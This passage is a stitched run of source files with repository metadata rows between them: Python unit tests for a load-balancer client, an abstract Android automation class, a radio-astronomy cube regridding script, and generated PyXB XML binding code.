self.assertEqual(len(response), len(mock_get_all_mlb_listner["response"]["items"])) @patch('requests.delete') def testDeleteMLBListener(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.delete_mlb_listener(listener_id="ls-12345") self.assertEqual(response, True) @patch('requests.post') def testCreateMLBMiddleware(self, mock): mock_create_mlb_middleware = self.load_json("../test_lib/output/mlb/middleware.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_middleware) mock.return_value = self.mock_api_call response = self.client.create_mlb_middleware(middleware={}) self.assertEqual(len(response), len(mock_create_mlb_middleware["response"]["items"][0])) @patch('requests.put') def testUpdateMLBMiddleware(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.update_mlb_middleware(middleware_id="mw-12345",middleware={}) self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"])) @patch('requests.get') def testGetMLBMiddleware(self, mock): mock_get_mlb_middleware = self.load_json("../test_lib/output/mlb/middleware.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_middleware) mock.return_value = self.mock_api_call response = self.client.get_mlb_middleware(middleware_id="mw-12345") self.assertEqual(len(response), len(mock_get_mlb_middleware["response"]["items"][0])) @patch('requests.get') def testGetAllMLBMiddleware(self, mock): mock_get_all_mlb_middleware = self.load_json("../test_lib/output/mlb/middleware.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_middleware) mock.return_value = self.mock_api_call response = self.client.get_all_mlb_middleware() self.assertEqual(len(response), len(mock_get_all_mlb_middleware["response"]["items"])) @patch('requests.delete') def testDeleteMLBMiddleware(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.delete_mlb_middleware(middleware_id="mw-12345") self.assertEqual(response, True) @patch('requests.post') def testCreateMLBRoutingRule(self, mock): mock_create_mlb_routing_rule = self.load_json("../test_lib/output/mlb/routing_rule.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_routing_rule) mock.return_value = self.mock_api_call response = self.client.create_mlb_routing_rule(routing_rule={}) self.assertEqual(len(response), len(mock_create_mlb_routing_rule["response"]["items"][0])) @patch('requests.put') def testUpdateMLBRoutingRule(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.update_mlb_routing_rule(routing_rule_id="rr-12345",routing_rule={}) self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"])) @patch('requests.get') def testGetMLBRoutingRule(self, mock): mock_get_mlb_routing_rule = self.load_json("../test_lib/output/mlb/routing_rule.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_routing_rule) mock.return_value = self.mock_api_call response = self.client.get_mlb_routing_rule(routing_rule_id="rr-12345") self.assertEqual(len(response), len(mock_get_mlb_routing_rule["response"]["items"][0])) @patch('requests.get') def testGetAllMLBRoutingRule(self, mock): mock_get_all_mlb_routing_rule = self.load_json("../test_lib/output/mlb/routing_rule.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_routing_rule) mock.return_value = self.mock_api_call response = self.client.get_all_mlb_routing_rule() self.assertEqual(len(response), len(mock_get_all_mlb_routing_rule["response"]["items"])) @patch('requests.delete') def testDeleteRoutingRule(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.delete_mlb_routing_rule(routing_rule_id="rr-12345") self.assertEqual(response, True)

37.975564

104

0.782953

2,944

20,203

5.043478

0.045516

0.125539

0.122239

0.166689

0.896619

0.877155

0.843009

0.806977

0.747104

0.680361

0

0.008244

0.087413

20,203

531

105

38.047081

0.797093

0.000396

0

0.472892

0

0.114061

0.053836

0

0.123494

1

0.13253

false

0

0.01506

0

0.159639

0

null

0

1

0

null

0

7

a79582a5bce35585e9c32c8a1f4fef3a0c673257

1,526

py

Python

GeometrA/src/ADB/robot.py

NTUTVisualScript/Visual_Script

2f78df3bbe17a08022a1ca66ee889f4ed5a42728

[ "Apache-2.0" ]

4

2017-08-12T15:32:07.000Z

2018-01-02T16:11:59.000Z

GeometrA/src/ADB/robot.py

NTUTVisualScript/GeometrA

2f78df3bbe17a08022a1ca66ee889f4ed5a42728

[ "Apache-2.0" ]

null

GeometrA/src/ADB/robot.py

NTUTVisualScript/GeometrA

2f78df3bbe17a08022a1ca66ee889f4ed5a42728

[ "Apache-2.0" ]

null

class Robot: def key_press(self, keycode): raise NotImplementedError("Subclasses should implement this!") def key_release(self, keycode): raise NotImplementedError("Subclasses should implement this!") def send_keys(self, keys): raise NotImplementedError("Subclasses should implement this!") def drag_and_drop(self, start_x, start_y, end_x, end_y, duration=None): raise NotImplementedError("Subclasses should implement this!") def capture_screen(self): raise NotImplementedError("Subclasses should implement this!") def tap(self, x, y, duration): raise NotImplementedError("Subclasses should implement this!") def swipe(self, start_x, start_y, end_x, end_y, duration): raise NotImplementedError("Subclasses should implement this!") def pinch(self, x, y, w, h, percent, steps): """Pinch on an element a certain amount :Args: - x, y, w, h - the rect to pinch - percent - (optional) amount to pinch. - steps - (optional) number of steps in the pinch action """ raise NotImplementedError("Subclasses should implement this!") def zoom(self, x, y, w, h, percent, steps): """Zoom on an element a certain amount :Args: - x, y, w, h - the rect to zoom - percent - (optional) amount to zoom. - steps - (optional) number of steps in the zoom action """ raise NotImplementedError("Subclasses should implement this!")

34.681818

75

0.64941

186

1,526

5.252688

0.268817

0.221085

0.313204

0.368475

0.812692

0.412487

0.151484

0

0.254915

1,526

43

76

35.488372

0.859279

0.228702

0

0.473684

0

0.275

0

1

0.473684

false

0

0.526316

0

null

1

0

null

0

1

0

1

0

8

a7cd2bbb3b4cc04bc4bc040274425501e977455d

4,277

py

Python

14B-088/HI/imaging/sd_regridding/gbt_regrid.py

e-koch/VLA_Lband

8fca7b2de0b88ce5c5011b34bf3936c69338d0b0

[ "MIT" ]

1

2021-03-08T23:19:12.000Z

14B-088/HI/imaging/sd_regridding/gbt_regrid.py

e-koch/VLA_Lband

8fca7b2de0b88ce5c5011b34bf3936c69338d0b0

[ "MIT" ]

null

14B-088/HI/imaging/sd_regridding/gbt_regrid.py

e-koch/VLA_Lband

8fca7b2de0b88ce5c5011b34bf3936c69338d0b0

[ "MIT" ]

null

''' Regrid the GBT data to match the VLA HI data. ''' from spectral_cube import SpectralCube from astropy.utils.console import ProgressBar import numpy as np import os from cube_analysis.io_utils import create_huge_fits from paths import fourteenB_HI_data_path, data_path # Load the non-pb masked cube vla_cube = SpectralCube.read(fourteenB_HI_data_path("M33_14B-088_HI.clean.image.fits")) gbt_path = os.path.join(data_path, "GBT") cube = SpectralCube.read(os.path.join(gbt_path, "m33_gbt_vlsr_highres.fits")) # Ta* to T_mb as per @low-sky Tmb_conv = 1.052 save_name = os.path.join(gbt_path, "14B-088_items/m33_gbt_vlsr_highres_Tmb_14B088_spectralregrid.fits") # Spectral interpolation, followed by reprojection. if not os.path.exists(save_name): cube = cube.spectral_interpolate(vla_cube.spectral_axis) if cube._is_huge: output_fits = create_huge_fits(save_name, cube.header, return_hdu=True) for chan in ProgressBar(cube.shape[0]): output_fits[0].data[chan] = cube[chan].value * Tmb_conv output_fits.flush() output_fits.close() else: (cube * Tmb_conv).write(save_name, overwrite=True) else: cube = SpectralCube.read(save_name) # Make the reprojected header new_header = cube.header.copy() new_header["NAXIS"] = 3 new_header["NAXIS1"] = vla_cube.shape[2] new_header["NAXIS2"] = vla_cube.shape[1] new_header["NAXIS3"] = vla_cube.shape[0] kwarg_skip = ['TELESCOP', 'BUNIT', 'INSTRUME'] for key in cube.header: if key == 'HISTORY': continue if key in vla_cube.header: if "NAXIS" in key: continue if key in kwarg_skip: continue new_header[key] = vla_cube.header[key] new_header.update(cube.beam.to_header_keywords()) new_header["BITPIX"] = -32 # We're going to convert to Tmb below new_header.comments['BUNIT'] = 'Tmb' # Build up the reprojected cube per channel save_name = os.path.join(gbt_path, "14B-088_items/m33_gbt_vlsr_highres_Tmb_14B088.fits") output_fits = create_huge_fits(save_name, new_header, return_hdu=True) targ_header = vla_cube[0].header for chan in ProgressBar(cube.shape[0]): reproj_chan = \ cube[chan].reproject(targ_header).value.astype(np.float32) output_fits[0].data[chan] = reproj_chan if chan % 200 == 0: output_fits.flush() output_fits.close() # Now do it again from the native gridding size cube = SpectralCube.read(os.path.join(gbt_path, "m33_gbt_vlsr.fits")) # Ta* to T_mb as per @low-sky Tmb_conv = 1.052 save_name = os.path.join(gbt_path, "14B-088_items/m33_gbt_vlsr_Tmb_14B088_spectralregrid.fits") # Spectral interpolation, followed by reprojection. if not os.path.exists(save_name): cube = cube.spectral_interpolate(vla_cube.spectral_axis) if cube._is_huge: output_fits = create_huge_fits(save_name, cube.header, return_hdu=True) for chan in ProgressBar(cube.shape[0]): output_fits[0].data[chan] = cube[chan].value * Tmb_conv output_fits.flush() output_fits.close() else: (cube * Tmb_conv).write(save_name, overwrite=True) else: cube = SpectralCube.read(save_name) # Make the reprojected header new_header = cube.header.copy() new_header["NAXIS"] = 3 new_header["NAXIS1"] = vla_cube.shape[2] new_header["NAXIS2"] = vla_cube.shape[1] new_header["NAXIS3"] = vla_cube.shape[0] kwarg_skip = ['TELESCOP', 'BUNIT', 'INSTRUME'] for key in cube.header: if key == 'HISTORY': continue if key in vla_cube.header: if "NAXIS" in key: continue if key in kwarg_skip: continue new_header[key] = vla_cube.header[key] new_header.update(cube.beam.to_header_keywords()) new_header["BITPIX"] = -32 # We're going to convert to Tmb below new_header.comments['BUNIT'] = 'Tmb' # Build up the reprojected cube per channel save_name = os.path.join(gbt_path, "14B-088_items/m33_gbt_vlsr_Tmb_14B088.fits") output_fits = create_huge_fits(save_name, new_header, return_hdu=True) targ_header = vla_cube[0].header for chan in ProgressBar(cube.shape[0]): reproj_chan = \ cube[chan].reproject(targ_header).value.astype(np.float32) output_fits[0].data[chan] = reproj_chan if chan % 200 == 0: output_fits.flush() output_fits.close()

30.769784

103

0.713117

662

4,277

4.365559

0.193353

0.062284

0.024221

0.02699

0.869204

0

0.030175

0.170914

4,277

138

104

30.992754

0.784828

0.114099

0

0.851064

0

0.114089

0.071637

0

1

0

false

0

0.06383

0

0.06383

0

null

0

1

0

1

0

null

0

7

ac1412b4792a42d5d62b3fd03ef154881b8f20bf

494,437

py

Python

eds/openmtc-gevent/common/openmtc-etsi/src/openmtc_etsi/serializer/xml/binding/helper2.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

[ "Apache-2.0" ]

null

eds/openmtc-gevent/common/openmtc-etsi/src/openmtc_etsi/serializer/xml/binding/helper2.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

[ "Apache-2.0" ]

null

eds/openmtc-gevent/common/openmtc-etsi/src/openmtc_etsi/serializer/xml/binding/helper2.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

[ "Apache-2.0" ]

null

import pyxb import pyxb.binding import pyxb.utils import pyxb.utils.utility from _binding import * from openmtc_etsi.serializer.xml.binding import \ _xmlmime as _ImportedBinding__xmlmime PermissionHolderType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'holderRefs'), HolderRefListType, scope=PermissionHolderType, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 58, 4))) PermissionHolderType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'domains'), DomainListType, scope=PermissionHolderType, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 59, 4))) PermissionHolderType._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'all'), CTD_ANON, scope=PermissionHolderType, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 75, 4))) PermissionHolderType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'applicationIDs'), ApplicationIDs, scope=PermissionHolderType, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 103, 4))) PermissionHolderType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'sclIDs'), SclIDs, scope=PermissionHolderType, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 114, 4))) def _BuildAutomaton_3(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_3 del _BuildAutomaton_3 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 50, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 51, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 52, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 53, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 54, 12)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(PermissionHolderType._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'holderRefs')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 50, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(PermissionHolderType._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'applicationIDs')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 51, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(PermissionHolderType._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'sclIDs')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 52, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(PermissionHolderType._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'all')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 53, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(PermissionHolderType._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'domains')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 54, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) PermissionHolderType._Automaton = _BuildAutomaton_3() HolderRefListType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'holderRef'), pyxb.binding.datatypes.anyURI, scope=HolderRefListType, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 73, 4))) def _BuildAutomaton_4(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_4 del _BuildAutomaton_4 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 63, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(HolderRefListType._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'holderRef')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 63, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) HolderRefListType._Automaton = _BuildAutomaton_4() DomainListType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'domain'), pyxb.binding.datatypes.anyURI, scope=DomainListType, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 83, 4))) def _BuildAutomaton_5(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_5 del _BuildAutomaton_5 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 69, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(DomainListType._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'domain')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 69, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) DomainListType._Automaton = _BuildAutomaton_5() PermissionFlagListType._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'flag'), PermissionFlagType, scope=PermissionFlagListType, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 95, 4))) def _BuildAutomaton_6(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_6 del _BuildAutomaton_6 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 99, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(PermissionFlagListType._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'flag')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 99, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) PermissionFlagListType._Automaton = _BuildAutomaton_6() ApplicationIDs._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'applicationID'), pyxb.binding.datatypes.string, scope=ApplicationIDs, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 112, 4))) def _BuildAutomaton_7(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_7 del _BuildAutomaton_7 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 107, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ApplicationIDs._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'applicationID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 107, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) ApplicationIDs._Automaton = _BuildAutomaton_7() SclIDs._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'sclID'), pyxb.binding.datatypes.string, scope=SclIDs, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 122, 4))) def _BuildAutomaton_8(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_8 del _BuildAutomaton_8 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 118, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse( SclIDs._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'sclID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd', 118, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) SclIDs._Automaton = _BuildAutomaton_8() AccessRightAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=AccessRightAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) AccessRightAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=AccessRightAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) AccessRightAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=AccessRightAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) AccessRightAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo, scope=AccessRightAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58, 4))) AccessRightAnnc._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'link'), pyxb.binding.datatypes.anyURI, scope=AccessRightAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 74, 4))) def _BuildAutomaton_9(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_9 del _BuildAutomaton_9 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd', 13, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd', 14, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd', 15, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd', 16, 12)) counters.add(cc_3) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(AccessRightAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'link')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(AccessRightAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(AccessRightAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(AccessRightAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(AccessRightAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'announceTo')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRightAnnc.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ 